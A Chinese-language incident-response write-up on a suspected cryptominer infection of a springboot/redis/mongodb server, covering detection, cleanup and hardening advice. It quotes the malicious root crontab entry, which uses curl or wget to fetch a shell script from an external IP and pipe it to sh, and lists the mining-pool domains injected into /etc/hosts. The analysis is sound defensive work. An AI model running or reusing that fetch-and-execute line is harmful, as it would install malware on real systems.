一次失败的应急springboot+redis+mongo
背景
昨个接到消息大概这样,某机构20年2月13号,2月23号,2月28号,3月4号均cpu占用异常高,疑似挖矿木马,通过和网管及其开发人员沟通,应用架构是springboot+redis+mongodb+nginx
还有memcache
检测
通过架构,我们首先想到可能是redis未授权,又或是mongo未授权,nmap测了一波也未发现,以为是nmap问题,自己又手动测了一波,redis和mongo端口都不是默认的,并且设置了安全访问也就是密钥。
从zabbix上来看,15天的cpu占用,2月21号到2月23号cpu一直占用170%,在3月4号又出现cpu占用很高。
发现/var/spool/cron/root计划任务
*/15 * * * *
(/usr/bin/jterfa8||/usr/libexec/jterfa8||/usr/local/bin/jterfa8||/tmp/jterfa8||curl -m180 -fsSL http://67.207.95.103:8000/i.sh||wget -q -T180 -O- http://67.207.95.103:8000/i.sh) | sh
发现/etc/hosts被写了一堆矿池域名
mine.moneropool.com"
xmr.crypto-pool.fr"
monerohash.com"
xmrpool.eu"
pool.noobxmr.com"
pool.minexmr.cn"
xmr.poolto.be"
monerohash.com"
stratum.viaxmr.com"
pool.monero.hashvault.pro"
xmr-us.suprnova.cc"
de.moriaxmr.com"
de2.moriaxmr.com"
fr.minexmr.com"
de.minexmr.com"
ca.minexmr.com"
sg.minexmr.com"
xmr.bohemianpool.com"
xmr-usa.dwarfpool.com"
monero.miners.pro"
xmr.prohash.net"
thyrsi.com"
minerxmr.ru"
zer0day.ru"
minergate.com"
pixeldra.in"
"220.194.237.43 w.3ei.xyz"
"220.194.237.43 w.21-3n.xyz"
清除
- 停掉计划任务并清除挖矿计划任务
- 清除hosts恶意指向
其实我们处理的时候就cpu占用就不高了,排查的时候没看到可以进程,无可疑文件,15天内无系统文件被劫持。
和网管聊了一下,他们之前有自己处理过,在加上360天擎也杀了一部分,所以有一些细节性的东西就看不到了,应急到这也就只能被迫结束。
抑制
没溯源彻底,所以也谈不上抑制,建设性的提了几点:
- 不建议redis对公网监听
- 不建议redis以root用户启动